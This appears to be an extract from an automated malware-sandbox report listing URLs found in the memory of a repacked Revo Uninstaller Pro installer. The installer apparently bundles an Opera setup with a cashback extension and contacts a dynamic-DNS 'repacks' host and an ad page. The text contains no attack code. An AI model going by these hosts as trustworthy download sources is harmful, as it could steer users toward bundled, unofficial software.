Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000003890000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.000000000569D000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000003890000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.000000000569D000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000003890000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.000000000569D000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalG3CodeSigningECCSHA3842021CA1.crl0=
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000003890000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.000000000569D000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/drafts/800-67-rev1/SP-800-67-rev1-2_July-2011.pdfS
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/drafts/fips180-4/Draft-FIPS180-4_Feb2011.pdf
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/fips/fips46-3/fips46-3.pdfS
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: http://localhost:3001api/prefs/?product=$1&version=$2..
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000000.1750050502.000000000040A000.00000008.00000001.01000000.00000003.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000003.1970159457.00000000006DD000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmp, PACK.EXE, 00000010.00000003.2198109948.0000000002E54000.00000004.00000020.00020000.00000000.sdmp, PACK.EXE, 00000010.00000003.2199870901.0000000000C50000.00000004.00000020.00020000.00000000.sdmp, PACK.EXE, 00000010.00000003.2198460363.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp, PACK.EXE, 00000010.00000003.2199605579.0000000000C50000.00000004.00000020.00020000.00000000.sdmp, PACK.EXE, 00000010.00000003.2199929800.0000000000C52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000003890000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.000000000569D000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000003890000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.000000000569D000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0H
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000003890000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.000000000569D000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0W
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000003890000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.000000000569D000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2776929770.0000000000663000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repacks.ddns.nethttps://repack.me/ad.htmlopen
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2776929770.0000000000663000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repacks.ddns.netopen
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.symcd.com06
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: ruplp.exe, 0000000A.00000003.2102817735.0000000002C8A000.00000004.00001000.00020000.00000000.sdmp, ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/http/
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap/
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/SV
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc1321
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc4648S
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: ruplp.exe, 0000000A.00000000.2100083068.0000000000D87000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.Licence-Protector.com
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.aiim.org/pdfa/ns/id/
Source: ruplp.exe, 0000000A.00000000.2100083068.0000000000D87000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.animation.arthouse.org
Source: ruplp.exe, 0000000A.00000003.2102817735.0000000002C6D000.00000004.00001000.00020000.00000000.sdmp, ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.borland.com/namespaces/Types
Source: ruplp.exe, 0000000A.00000003.2102817735.0000000002C6D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/TypesA
Source: ruplp.exe, 0000000A.00000003.2102817735.0000000002C6D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.borland.com/namespaces/Typesa
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.borland.com/rootpart.xml
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.color.org
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.csrc.nist.gov/publications/fips/fips197/fips-197.pdfS
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000003890000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.000000000569D000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.ietf.org/rfc/rfc3447.txtS
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.itl.nist.gov/fipspubs/fip180-1.htm
Source: ruplp.exe, 0000000A.00000003.2102817735.0000000002C91000.00000004.00001000.00020000.00000000.sdmp, ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.mirage-systems.de/
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.mirage-systems.de/%operationName%
Source: ruplp.exe, 0000000A.00000003.2102817735.0000000002C15000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mirage-systems.de/%operationName%A_
Source: ruplp.exe, 0000000A.00000003.2102817735.0000000002C91000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mirage-systems.de/Q
Source: ruplp.exe, 0000000A.00000003.2102817735.0000000002C91000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mirage-systems.de/a
Source: ruplp.exe, 0000000A.00000003.2102817735.0000000002C91000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mirage-systems.de/tq
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.movable-type.co.uk/scripts/xxtea.pdfS
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: http://www.opera.com0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006045000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.000000014095B000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.000000014095B000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.revouninstaller.com
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.revouninstaller.com/)
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.schneier.com/paper-blowfish-fse.htmlS
Source: ruplp.exe, 0000000A.00000000.2096953602.000000000041D000.00000020.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.schneier.com/paper-twofish-paper.pdfS
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vsrevogroup.com
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.word-pdf-converter.com/5.67B160777-E232-46C5-8DC0-5BC8B49E77496.1
Source: setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://addons.opera.com/en/extensions/details/dify-cashback/
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://addons.opera.com/extensions/download/be76331b95dfc399cd776d2fc68021e0db03cc4f.opera.com
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://autoupdate.geo.opera.com/
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://autoupdate.geo.opera.com/https://autoupdate.opera.com/me/OperaDesktophttps://crashstats-coll
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://autoupdate.opera.com/me/
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://crashpad.chromium.org/
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://crashpad.chromium.org/bug/new
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://crashpad.chromium.org/https://crashpad.chromium.org/bug/new
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://crashstats-collector-2.opera.com/
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0.
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://download.opera.com/download/get/?partner=www&opsys=Windows&utm_source=netinstaller
Source: setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://features.opera-api2.com/api/v2/features?country=%s&language=%s&uuid=%s&product=%s&channel=%s
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 0000001E.00000001.2731861623.00000000001EA000.00000002.00000001.01000000.0000001C.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://gamemaker.io
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 0000001E.00000001.2731861623.00000000001EA000.00000002.00000001.01000000.0000001C.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://gamemaker.io)
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 0000001E.00000001.2731861623.00000000001EA000.00000002.00000001.01000000.0000001C.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://gamemaker.io/en/education.
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 0000001E.00000001.2731861623.00000000001EA000.00000002.00000001.01000000.0000001C.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://gamemaker.io/en/get.
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 0000001E.00000001.2731861623.00000000001EA000.00000002.00000001.01000000.0000001C.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://help.instagram.com/581066165581870;
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://help.opera.com/latest/
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 0000001E.00000001.2731861623.00000000001EA000.00000002.00000001.01000000.0000001C.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://legal.opera.com/eula/computers
Source: setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://legal.opera.com/privacy
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 0000001E.00000001.2731861623.00000000001EA000.00000002.00000001.01000000.0000001C.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://legal.opera.com/privacy.
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 0000001E.00000001.2731861623.00000000001EA000.00000002.00000001.01000000.0000001C.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://legal.opera.com/terms
Source: setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: https://legal.opera.com/terms.
